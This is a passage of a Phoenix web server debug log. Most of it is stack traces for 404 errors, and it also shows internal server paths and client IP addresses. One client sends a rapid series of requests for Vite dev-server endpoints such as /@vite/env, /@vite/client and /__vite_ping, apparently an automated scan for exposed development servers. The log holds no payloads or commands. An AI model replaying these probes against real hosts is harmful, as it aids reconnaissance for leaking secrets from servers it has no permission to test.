    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:28.220000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5044] GET /vite/hmr
[Thu Sep  3 18:24:28.234000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5044] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:28.298000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5048] GET /vite/hmr.js
[Thu Sep  3 18:24:28.316000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5048] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:31.501000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5058] GET /vite/hmr.mjs
[Thu Sep  3 18:24:31.526000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5058] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:32.215000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5072] GET /@hmr
[Thu Sep  3 18:24:32.234000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5072] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:32.410000 2026] [Phoenix.Logger:info] [pid 2816631] [client 185.247.137.95:45949] GET /
[Thu Sep  3 18:24:32.410000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 185.247.137.95:45949] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:32.411000 2026] [Phoenix.Logger:info] [pid 2816631] [client 185.247.137.95:45949] Sent 200 in 778µs
[Thu Sep  3 18:24:32.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5080] GET /@hmr.js
[Thu Sep  3 18:24:32.530000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5080] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:32.557000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5092] GET /@hmr.mjs
[Thu Sep  3 18:24:32.573000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5092] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:33.695000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5092] GET /__hmrClient
[Thu Sep  3 18:24:33.713000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5092] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:33.764000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5058] GET /__hmrClient.js
[Thu Sep  3 18:24:33.787000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5058] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:33.904000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:5080] GET /__hmrClient.mjs
[Thu Sep  3 18:24:33.921000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:5080] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:57.030000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:24:57.307000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] GET /
[Thu Sep  3 18:24:57.307000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:64252] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:57.308000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] Sent 200 in 1ms
[Thu Sep  3 18:25:08.517000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20112] GET /
[Thu Sep  3 18:25:08.517000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:20112] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:25:08.518000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20112] Sent 200 in 862µs
[Thu Sep  3 18:25:10.154000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20122] GET /
[Thu Sep  3 18:25:10.154000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:20122] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:25:10.155000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20122] Sent 200 in 791µs
[Thu Sep  3 18:25:15.056000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] GET /__vitesweep_ping_control_e0248407a1828b65
[Thu Sep  3 18:25:15.073000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:64252] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_e0248407a1828b65 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:15.106000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20136] GET /__vite_ping
[Thu Sep  3 18:25:15.125000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:20136] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:16.074000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:20136] GET /@vite/env
[Thu Sep  3 18:25:16.088000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:20136] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:16.116000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64252] GET /@vite/client
[Thu Sep  3 18:25:16.132000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:64252] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:16.663000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33116] GET /@vite/client.mjs
[Thu Sep  3 18:25:16.682000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33116] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:25:18.150000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33100] GET /@vite/client.js
[Thu Sep  3 18:25:18.175000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33100] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
